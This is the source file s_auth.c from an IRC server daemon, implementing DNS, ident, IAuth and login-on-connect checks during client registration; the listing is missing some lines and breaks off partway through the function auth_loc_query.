1 /************************************************************************
2 * IRC - Internet Relay Chat, src/s_auth.c
3 * Copyright (C) 1992 Darren Reed
5 * This program is free software; you can redistribute it and/or modify
6 * it under the terms of the GNU General Public License as published by
7 * the Free Software Foundation; either version 1, or (at your option)
10 * This program is distributed in the hope that it will be useful,
11 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 * GNU General Public License for more details.
15 * You should have received a copy of the GNU General Public License
16 * along with this program; if not, write to the Free Software
17 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 * July 6, 1999 - Rewrote most of the code here. When a client connects
21 * to the server and passes initial socket validation checks, it
22 * is owned by this module (auth) which returns it to the rest of the
23 * server when dns and auth queries are finished. Until the client is
24 * released, the server does not know it exists and does not process
25 * any messages from it.
26 * --Bleep Thomas Helvey <tomh@inxpress.net>
28 * December 26, 2005 - Rewrite the flag handling and integrate that with
29 * an IRCnet-style IAuth protocol.
33 * @brief Implementation of DNS and ident lookups.
34 * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
54 #include "msg.h" /* for MAXPARA */
57 #include "querycmds.h"
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79 AR_AUTH_PENDING, /**< ident connecting or waiting for response */
80 AR_DNS_PENDING, /**< dns request sent, waiting for response */
81 AR_CAP_PENDING, /**< in middle of CAP negotiations */
82 AR_LOC_PENDING, /**< LOC reply is awaited */
83 AR_NEEDS_PONG, /**< user has not PONGed */
84 AR_NEEDS_USER, /**< user must send USER command */
85 AR_NEEDS_NICK, /**< user must send NICK command */
86 AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87 AR_IAUTH_PENDING, /**< iauth request sent, waiting for response */
88 AR_IAUTH_HURRY, /**< we told iauth to hurry up */
89 AR_IAUTH_USERNAME, /**< iauth sent a username (preferred or forced) */
90 AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
91 AR_PASSWORD_CHECKED, /**< client password already checked */
92 AR_LOC_SENT, /**< LOC query already sent. */
93 AR_LOC_FORCE, /**< Force kill if LOC failed. */
97 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
99 /** Stores registration state of a client. */
101 struct AuthRequest* next; /**< linked list node ptr */
102 struct AuthRequest* prev; /**< linked list node ptr */
103 struct Client* client; /**< pointer to client struct for request */
104 struct irc_sockaddr local; /**< local endpoint address */
105 struct irc_in_addr original; /**< original client IP address */
106 struct Socket socket; /**< socket descriptor for auth queries */
107 struct Timer timeout; /**< timeout timer for ident and dns queries */
108 struct AuthRequestFlags flags; /**< current state of request */
109 unsigned int cookie; /**< cookie the user must PONG */
110 unsigned short port; /**< client's remote port number */
111 unsigned int numeric; /**< unregistered client numeric */
112 char loc_user[ACCOUNTLEN];
113 char loc_pass[PASSWDLEN];
116 /** Array of message text (with length) pairs for AUTH status
117 * messages. Indexed using #ReportType.
122 } HeaderMessages [] = {
123 #define MSG(STR) { STR, sizeof(STR) - 1 }
124 MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
125 MSG("NOTICE AUTH :*** Found your hostname\r\n"),
126 MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
127 MSG("NOTICE AUTH :*** Checking Ident\r\n"),
128 MSG("NOTICE AUTH :*** Got ident response\r\n"),
129 MSG("NOTICE AUTH :*** No ident response\r\n"),
130 MSG("NOTICE AUTH :*** \r\n"),
131 MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
132 "ignoring hostname.\r\n"),
133 MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
134 MSG("NOTICE AUTH :*** Checking login\r\n"),
135 MSG("NOTICE AUTH :*** Login rejected\r\n"),
136 MSG("NOTICE AUTH :*** Login accepted\r\n"),
140 /** Enum used to index messages in the HeaderMessages[] array. */
156 /** Sends response \a r (from #ReportType) to client \a c. */
157 #define sendheader(c, r) \
158 sendrawto_one(c, "%s", HeaderMessages[(r)].message)
159 //ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
161 /** Enumeration of IAuth connection flags. */
164 IAUTH_BLOCKED, /**< socket buffer full */
165 IAUTH_CLOSING, /**< candidate to be disposed */
166 /* The following flags are controlled by iauth's "O" options command. */
167 IAUTH_ADDLINFO, /**< Send additional info
168 * (password and username). */
169 IAUTH_FIRST_OPTION = IAUTH_ADDLINFO, /**< First flag that is a policy option. */
170 IAUTH_REQUIRED, /**< IAuth completion required for registration. */
171 IAUTH_TIMEOUT, /**< Refuse new connections if IAuth is behind. */
172 IAUTH_EXTRAWAIT, /**< Give IAuth extra time to answer. */
173 IAUTH_UNDERNET, /**< Enable Undernet extensions. */
174 IAUTH_LAST_FLAG /**< total number of flags */
176 /** Declare a bitset structure indexed by IAuthFlag. */
177 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
179 /** Describes state of an IAuth connection. */
181 struct MsgQ i_sendQ; /**< messages queued to send */
182 struct Socket i_socket; /**< main socket to iauth */
183 struct Socket i_stderr; /**< error socket for iauth */
184 struct IAuthFlags i_flags; /**< connection state/status/flags */
185 uint64_t i_recvB; /**< bytes received */
186 uint64_t i_sendB; /**< bytes sent */
187 time_t started; /**< time that this instance was started */
188 unsigned int i_recvM; /**< messages received */
189 unsigned int i_sendM; /**< messages sent */
190 unsigned int i_count; /**< characters used in i_buffer */
191 unsigned int i_errcount; /**< characters used in i_errbuf */
192 int i_debug; /**< debug level */
193 char i_buffer[BUFSIZE+1]; /**< partial unprocessed line from server */
194 char i_errbuf[BUFSIZE+1]; /**< partial unprocessed error line */
195 char *i_version; /**< iauth version string */
196 struct SLink *i_config; /**< configuration string list */
197 struct SLink *i_stats; /**< statistics string list */
198 char **i_argv; /**< argument list */
201 /** Return whether flag \a flag is set on \a iauth. */
202 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
203 /** Set flag \a flag on \a iauth. */
204 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
205 /** Clear flag \a flag from \a iauth. */
206 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
207 /** Get connected flag for \a iauth. */
208 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
210 /** Return socket event generator for \a iauth. */
211 #define i_socket(iauth) (&(iauth)->i_socket)
212 /** Return stderr socket for \a iauth. */
213 #define i_stderr(iauth) (&(iauth)->i_stderr)
214 /** Return outbound message queue for \a iauth. */
215 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
216 /** Return debug level for \a iauth. */
217 #define i_debug(iauth) ((iauth)->i_debug)
219 /** Active instance of IAuth. */
220 static struct IAuth *iauth;
221 /** Freelist of AuthRequest structures. */
222 static struct AuthRequest *auth_freelist;
223 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
224 static int iauth_required;
226 /** Array of unregistered clients indexed by numeric. */
227 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
229 static void iauth_sock_callback(struct Event *ev);
230 static void iauth_stderr_callback(struct Event *ev);
231 static int sendto_iauth(struct Client *cptr, const char *format, ...);
232 static int preregister_user(struct Client *cptr, signed int stop);
233 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
234 int parc, char **params);
235 static void iauth_disconnect(struct IAuth *iauth);
236 int iauth_do_spawn(struct IAuth *iauth, int automatic);
238 /** Register a new unregistered client numeric.
239 * This numeric is totally independent from the numnicks in numnicks.c.
241 * This numeric is only valid while the user is in the unregistered state.
243 static int auth_set_numnick(struct AuthRequest *auth) {
244 static unsigned int last_uclient = 0;
245 unsigned int count = 0;
247 while(uclient_list[last_uclient]) {
249 if(count == MAXCONNECTIONS) {
250 assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
254 if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
256 uclient_list[last_uclient] = auth;
257 auth->numeric = last_uclient;
258 if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
262 /** Unregisters an unregistered client numeric.
263 * See auth_set_numnick for information.
265 static void auth_unset_numnick(struct AuthRequest *auth) {
266 uclient_list[auth->numeric] = NULL;
270 /** Finds an AuthRequest related to an unregistered client numeric.
271 * See auth_set_numnick for information.
273 static struct AuthRequest *auth_find_numnick(const char *numnick) {
276 num = base64toint(numnick);
277 if(num >= MAXCONNECTIONS) return NULL;
278 return uclient_list[num];
281 /** Sends a LOC query.
282 * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
283 * if one check fails.
285 static signed int auth_loc_send(struct AuthRequest *auth) {
286 struct Client *acptr;
288 const char *host, *ip, *ident, *format;
291 if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
292 FlagHas(&auth->flags, AR_LOC_SENT) ||
293 FlagHas(&auth->flags, AR_DNS_PENDING) ||
294 FlagHas(&auth->flags, AR_NEEDS_USER) ||
295 FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
297 inttobase64(buf, auth->numeric, 3);
300 host = cli_sockhost(auth->client);
301 if(!host || !*host) host = NULL;
302 ip = cli_sock_ip(auth->client);
303 if(IsIdented(auth->client))
304 ident = cli_username(auth->client);
306 ident = cli_user(auth->client)->username;
308 if(!ident || !*ident) ident = "unknown";
310 if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
311 if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
312 else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
313 else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
314 else format = "%C LQ !%s%s %s %s%s ~%s :%s";
316 sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
317 cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
318 ident, auth->loc_pass);
319 FlagSet(&auth->flags, AR_LOC_SENT);
322 sendheader(auth->client, REPORT_FAIL_LOC);
323 FlagClr(&auth->flags, AR_LOC_PENDING);
324 if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
325 exit_client(auth->client, auth->client, &me, "LOC Failed");
332 /** Set username for user associated with \a auth.
333 * @param[in] auth Client authorization request to work on.
334 * @return Zero if client is kept, CPTR_KILLED if client rejected.
336 static int auth_set_username(struct AuthRequest *auth)
338 struct Client *sptr = auth->client;
339 struct User *user = cli_user(sptr);
348 if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
350 ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
354 /* Copy username from source to destination. Since they may be the
355 * same, and we may prefix with a '~', use a buffer character (ch)
356 * to hold the next character to copy.
358 s = IsIdented(sptr) ? cli_username(sptr) : user->username;
361 if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
366 while (last && !IsCntrl(last) && rlen--)
369 *d++ = IsUserChar(last) ? last : '_';
370 last = (ch != '~') ? ch : '_';
375 /* If username is empty or just ~, reject. */
376 if ((user->username[0] == '\0')
377 || ((user->username[0] == '~') && (user->username[1] == '\0')))
378 return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
380 /* Check for K- or G-line. */
381 killreason = find_kill(sptr);
383 ServerStats->is_ref++;
384 return exit_client(sptr, sptr, &me,
385 (killreason == -1 ? "K-lined" : "G-lined"));
388 if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
391 for(i = 0; user->username[i]; ++i) {
392 if(user->username[i] > 126 || user->username[i] < 1) goto badid;
397 /* Check for mixed case usernames, meaning probably hacked. Jon2 3-94
398 * Explanations of rules moved to where it is checked Entrope 2-06
400 s = d = user->username + (user->username[0] == '~');
409 else if (IsUpper(ch))
412 /* Accept caps as leading if we haven't seen lower case or digits yet. */
413 if ((leadcaps || pos == 0) && !lower && !digits)
416 else if (IsDigit(ch))
419 if (pos == 0 || !IsDigit(last))
422 /* If more than two groups of digits, reject. */
427 else if (ch == '-' || ch == '_' || ch == '.')
430 /* If -_. exist at start, consecutively, or more than twice, reject. */
431 if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
434 else /* All other punctuation is rejected. */
438 /* If mixed case, first must be capital, but no more than three;
439 * but if three capitals, they must all be leading. */
440 if (lower && upper && (!leadcaps || leadcaps > 3 ||
441 (upper > 2 && upper > leadcaps)))
443 /* If two different groups of digits, one must be either at the
445 if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
447 /* Must have at least one letter. */
448 if (!lower && !upper)
450 /* Final character must not be punctuation. */
459 /* If we confirmed their username, and it is what they claimed,
461 if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
464 ServerStats->is_ref++;
465 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
466 ":Your username is invalid.");
467 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
468 ":Connect with your real username, in lowercase.");
469 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
470 ":If your mail address were foo@bar.com, your username "
472 return exit_client(sptr, sptr, &me, "USER: Bad username");
475 /** Check whether an authorization request is complete.
476 * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
477 * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state. If
478 * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
479 * destroy \a auth, clear the password, set the username, and register
481 * @param[in] auth Authorization request to check.
482 * @return Zero if client is kept, CPTR_KILLED if client rejected.
484 static int check_auth_finished(struct AuthRequest *auth)
486 enum AuthRequestFlag flag;
489 /* Check whether to send LOC query. */
490 if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
491 !FlagHas(&auth->flags, AR_LOC_SENT) &&
492 !FlagHas(&auth->flags, AR_DNS_PENDING) &&
493 !FlagHas(&auth->flags, AR_NEEDS_USER) &&
494 !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
495 if(!auth_loc_send(auth)) return CPTR_KILLED;
499 /* Check non-iauth registration blocking flags. */
500 for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
501 if (FlagHas(&auth->flags, flag))
503 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
504 cli_fd(auth->client), flag));
508 /* If appropriate, do preliminary assignment to connection class. */
509 if (IsUserPort(auth->client)
510 && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
511 && preregister_user(auth->client, 1))
514 /* Check if iauth is done. */
515 if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
517 /* Switch auth request to hurry-up state. */
518 if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
520 /* Set "hurry" flag in auth request. */
521 FlagSet(&auth->flags, AR_IAUTH_HURRY);
523 /* If iauth wants it, send notification. */
524 if (IAuthHas(iauth, IAUTH_UNDERNET))
525 sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
527 /* If iauth wants it, give client more time. */
528 if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
529 cli_firsttime(auth->client) = CurrentTime;
532 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
533 cli_fd(auth->client), AR_IAUTH_PENDING));
537 FlagSet(&auth->flags, AR_IAUTH_HURRY);
539 /* Class assignment is done after IAUTH is done. */
540 if (IsUserPort(auth->client)) {
541 if(preregister_user(auth->client, 0))
544 if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
545 struct ConfItem *aconf;
546 aconf = cli_confs(auth->client)->value.aconf;
548 && !EmptyString(aconf->passwd)
549 && strcmp(cli_passwd(auth->client), aconf->passwd))
551 ServerStats->is_ref++;
552 send_reply(auth->client, ERR_PASSWDMISMATCH);
553 return exit_client(auth->client, auth->client, &me, "Bad Password");
555 FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
559 if (IsUserPort(auth->client))
561 memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
562 res = auth_set_username(auth);
564 res = register_user(auth->client, auth->client);
569 destroy_auth_request(auth);
573 /** Verify that a hostname is valid, i.e., only contains characters
574 * valid for a hostname and that a hostname is not too long.
575 * @param host Hostname to check.
576 * @param maxlen Maximum length of hostname, not including NUL terminator.
577 * @return Non-zero if the hostname is valid.
580 auth_verify_hostname(const char *host, int maxlen)
584 /* Walk through the host name */
585 for (i = 0; host[i]; i++)
586 /* If it's not a hostname character or if it's too long, return false */
587 if (!IsHostChar(host[i]) || i >= maxlen)
590 return 1; /* it's a valid hostname */
593 /** Check whether a client already has a CONF_CLIENT configuration
596 * @return A pointer to the client's first CONF_CLIENT, or NULL if
599 static struct ConfItem *find_conf_client(struct Client *cptr)
603 for (list = cli_confs(cptr); list != NULL; list = list->next) {
604 struct ConfItem *aconf;
605 aconf = list->value.aconf;
606 if (aconf->status & CONF_CLIENT)
613 /** Assign a client to a connection class.
614 * @param[in] cptr Client to assign to a class.
615 * @return Zero if client is kept, CPTR_KILLED if rejected.
617 static int preregister_user(struct Client *cptr, signed int stop)
619 static time_t last_too_many1;
620 static time_t last_too_many2;
622 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
623 ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
625 if(find_conf_client(cptr) || stop) return 0;
627 switch (conf_check_client(cptr))
631 case ACR_NO_AUTHORIZATION:
632 sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
633 get_client_name(cptr, HIDE_IP));
634 ++ServerStats->is_ref;
635 return exit_client(cptr, cptr, &me,
636 "No Authorization - use another server");
637 case ACR_TOO_MANY_IN_CLASS:
638 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
639 "Too many connections in class %s for %s.",
640 get_client_class(cptr),
641 get_client_name(cptr, SHOW_IP));
642 ++ServerStats->is_ref;
643 return exit_client(cptr, cptr, &me,
644 "Sorry, your connection class is full - try "
645 "again later or try another server");
646 case ACR_TOO_MANY_FROM_IP:
647 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
648 "Too many connections from same IP for %s.",
649 get_client_name(cptr, SHOW_IP));
650 ++ServerStats->is_ref;
651 return exit_client(cptr, cptr, &me,
652 "Too many connections from your host");
653 case ACR_ALREADY_AUTHORIZED:
654 /* Can this ever happen? */
656 ++ServerStats->is_ref;
657 IPcheck_connect_fail(cptr);
658 return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
663 /** Send the ident server a query giving "theirport , ourport". The
664 * write is only attempted *once* so it is deemed to be a fail if the
665 * entire write doesn't write all the data given. This shouldn't be a
666 * problem since the socket should have a write buffer far greater
667 * than this message to store it in should problems arise. -avalon
668 * @param[in] auth The request to send.
670 static void send_auth_query(struct AuthRequest* auth)
677 ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
678 auth->port, auth->local.port);
680 if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
681 close(s_fd(&auth->socket));
682 socket_del(&auth->socket);
683 s_fd(&auth->socket) = -1;
684 ++ServerStats->is_abad;
685 if (IsUserPort(auth->client))
686 sendheader(auth->client, REPORT_FAIL_ID);
687 FlagClr(&auth->flags, AR_AUTH_PENDING);
688 check_auth_finished(auth);
692 /** Enum used to index ident reply fields in a human-readable way. */
693 enum IdentReplyFields {
701 /** Parse an ident reply line and extract the userid from it.
702 * @param[in] reply The ident reply line.
703 * @return The userid, or NULL on parse failure.
705 static char* check_ident_reply(char* reply)
709 char* vector[USERID_TOKEN_COUNT];
710 int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
712 if (USERID_TOKEN_COUNT != count)
715 * second token is the reply type
717 token = vector[IDENT_REPLY_TYPE];
718 if (EmptyString(token))
721 while (IsSpace(*token))
724 if (0 != strncmp(token, "USERID", 6))
728 * third token is the os type
730 token = vector[IDENT_OS_TYPE];
731 if (EmptyString(token))
733 while (IsSpace(*token))
737 * Unless "OTHER" is specified as the operating system
738 * type, the server is expected to return the "normal"
739 * user identification of the owner of this connection.
740 * "Normal" in this context may be taken to mean a string
741 * of characters which uniquely identifies the connection
742 * owner such as a user identifier assigned by the system
743 * administrator and used by such user as a mail
744 * identifier, or as the "user" part of a user/password
745 * pair used to gain access to system resources. When an
746 * operating system is specified (e.g., anything but
747 * "OTHER"), the user identifier is expected to be in a
748 * more or less immediately useful form - e.g., something
749 * that could be used as an argument to "finger" or as a
752 if (0 == strncmp(token, "OTHER", 5))
755 * fourth token is the username
757 token = vector[IDENT_INFO];
758 if (EmptyString(token))
760 while (IsSpace(*token))
763 * look for the end of the username, terminators are '\0, @, <SPACE>, :'
765 for (end = token; *end; ++end) {
766 if (IsSpace(*end) || '@' == *end || ':' == *end)
773 /** Read the reply (if any) from the ident server we connected to. We
774 * only give it one shot, if the reply isn't good the first time fail
775 * the authentication entirely. --Bleep
776 * @param[in] auth The request to read.
778 static void read_auth_reply(struct AuthRequest* auth)
783 * rfc1453 sez we MUST accept 512 bytes
785 char buf[BUFSIZE + 1];
788 assert(0 != auth->client);
789 assert(auth == cli_auth(auth->client));
791 if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
793 Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
794 username = check_ident_reply(buf);
795 Debug((DEBUG_INFO, "Username: %s", username));
798 Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
799 close(s_fd(&auth->socket));
800 socket_del(&auth->socket);
801 s_fd(&auth->socket) = -1;
803 if (EmptyString(username)) {
804 if (IsUserPort(auth->client))
805 sendheader(auth->client, REPORT_FAIL_ID);
806 ++ServerStats->is_abad;
808 if (IsUserPort(auth->client))
809 sendheader(auth->client, REPORT_FIN_ID);
810 ++ServerStats->is_asuc;
811 if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
812 ircd_strncpy(cli_username(auth->client), username, USERLEN);
813 SetGotId(auth->client);
815 if (IAuthHas(iauth, IAUTH_UNDERNET))
816 sendto_iauth(auth->client, "u %s", username);
819 FlagClr(&auth->flags, AR_AUTH_PENDING);
820 if(!auth_loc_send(auth)) return;
821 check_auth_finished(auth);
824 /** Handle socket I/O activity.
825 * @param[in] ev A socket event whos associated data is the active
826 * struct AuthRequest.
828 static void auth_sock_callback(struct Event* ev)
830 struct AuthRequest* auth;
832 assert(0 != ev_socket(ev));
833 assert(0 != s_data(ev_socket(ev)));
835 auth = (struct AuthRequest*) s_data(ev_socket(ev));
837 switch (ev_type(ev)) {
838 case ET_DESTROY: /* being destroyed */
841 case ET_CONNECT: /* socket connection completed */
842 Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
843 auth, cli_fd(auth->client)));
844 socket_state(&auth->socket, SS_CONNECTED);
845 send_auth_query(auth);
848 case ET_READ: /* socket is readable */
849 case ET_EOF: /* end of file on socket */
850 case ET_ERROR: /* error on socket */
851 Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
852 read_auth_reply(auth);
856 assert(0 && "Unrecognized event in auth_socket_callback().");
861 /** Stop an auth request completely.
862 * @param[in] auth The struct AuthRequest to cancel.
864 void destroy_auth_request(struct AuthRequest* auth)
866 Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
868 /* Unset numeric nick. */
869 auth_unset_numnick(auth);
871 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
872 delete_resolver_queries(auth);
875 if (-1 < s_fd(&auth->socket)) {
876 close(s_fd(&auth->socket));
877 socket_del(&auth->socket);
878 s_fd(&auth->socket) = -1;
881 if (t_active(&auth->timeout))
882 timer_del(&auth->timeout);
884 cli_auth(auth->client) = NULL;
885 auth->next = auth_freelist;
886 auth_freelist = auth;
889 /** Handle a 'ping' (authorization) timeout for a client.
890 * @param[in] cptr The client whose session authorization has timed out.
891 * @return Zero if client is kept, CPTR_KILLED if client rejected.
893 int auth_ping_timeout(struct Client *cptr)
895 struct AuthRequest *auth;
896 enum AuthRequestFlag flag;
899 auth = cli_auth(cptr);
901 /* Check whether the auth request is gone (more likely, it never
902 * existed, as in an outbound server connection). */
904 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
906 /* If the loc-query is still pending, we stop the query and
907 * register the user if possible.
909 if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
910 FlagClr(&auth->flags, AR_LOC_PENDING);
911 sendheader(auth->client, REPORT_FAIL_LOC);
912 if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
913 ret = check_auth_finished(auth);
914 if (ret != 0) return ret;
915 return exit_client(cptr, cptr, &me, "Registration Timeout");
918 /* Check for a user-controlled timeout. */
919 for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
920 if (FlagHas(&auth->flags, flag)) {
921 /* Display message if they have sent a NICK and a USER but no
924 if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
925 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
926 ":Your client may not be compatible with this server.");
927 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
928 ":Compatible clients are available at %s",
929 feature_str(FEAT_URL_CLIENTS));
931 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
935 /* Check for iauth timeout. */
936 if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
937 if (IAuthHas(iauth, IAUTH_REQUIRED)) {
938 sendheader(cptr, REPORT_FAIL_IAUTH);
939 return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
941 sendto_iauth(cptr, "T");
942 FlagClr(&auth->flags, AR_IAUTH_PENDING);
943 return check_auth_finished(auth);
946 return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
949 /** Timeout a given auth request.
950 * @param[in] ev A timer event whose associated data is the expired
951 * struct AuthRequest.
953 static void auth_timeout_callback(struct Event* ev)
955 struct AuthRequest* auth;
957 assert(0 != ev_timer(ev));
958 assert(0 != t_data(ev_timer(ev)));
960 auth = (struct AuthRequest*) t_data(ev_timer(ev));
962 if (ev_type(ev) == ET_EXPIRE) {
963 /* Report the timeout in the log. */
964 log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
965 get_client_name(auth->client, HIDE_IP));
967 /* Notify client if ident lookup failed. */
968 if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
969 FlagClr(&auth->flags, AR_AUTH_PENDING);
970 if (IsUserPort(auth->client))
971 sendheader(auth->client, REPORT_FAIL_ID);
974 /* Likewise if dns lookup failed. */
975 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
976 FlagClr(&auth->flags, AR_DNS_PENDING);
977 delete_resolver_queries(auth);
978 if (IsUserPort(auth->client))
979 sendheader(auth->client, REPORT_FAIL_DNS);
982 /* Try to register the client. */
983 check_auth_finished(auth);
987 /** Handle a complete DNS lookup. Send the client on it's way to a
988 * connection completion, regardless of success or failure -- unless
989 * there was a mismatch and KILL_IPMISMATCH is set.
990 * @param[in] vptr The pending struct AuthRequest.
991 * @param[in] addr IP address being resolved.
992 * @param[in] h_name Resolved name, or NULL if lookup failed.
994 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
996 struct AuthRequest* auth = (struct AuthRequest*) vptr;
999 FlagClr(&auth->flags, AR_DNS_PENDING);
1001 /* DNS entry was missing for the IP. */
1002 if (IsUserPort(auth->client))
1003 sendheader(auth->client, REPORT_FAIL_DNS);
1004 sendto_iauth(auth->client, "d");
1005 } else if (!irc_in_addr_valid(addr)
1006 || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1007 && irc_in_addr_cmp(&auth->original, addr))) {
1008 /* IP for hostname did not match client's IP. */
1009 sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1010 cli_sock_ip(auth->client), h_name,
1012 if (IsUserPort(auth->client))
1013 sendheader(auth->client, REPORT_IP_MISMATCH);
1014 if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1015 exit_client(auth->client, auth->client, &me, "IP mismatch");
1018 } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1019 /* Hostname did not look valid. */
1020 if (IsUserPort(auth->client))
1021 sendheader(auth->client, REPORT_INVAL_DNS);
1022 sendto_iauth(auth->client, "d");
1024 /* Hostname and mappings checked out. */
1025 if (IsUserPort(auth->client))
1026 sendheader(auth->client, REPORT_FIN_DNS);
1027 ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1028 sendto_iauth(auth->client, "N %s", h_name);
1031 /* The LOC line has to be sent with full hostname. If no hostname could be looked
1032 * up, the IP is sent.
1034 if(!auth_loc_send(auth)) return;
1036 check_auth_finished(auth);
1039 /** Starts a new login-on-connect query. */
1040 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1041 if(!account || !*account) return 1;
1042 if(!pass || !*pass) return 1;
1043 assert(auth != NULL);
1044 if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1046 sendheader(auth->client, REPORT_DO_LOC);
1047 FlagSet(&auth->flags, AR_LOC_PENDING);
1048 if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1049 else FlagClr(&auth->flags, AR_LOC_FORCE);
1050 ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1051 ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
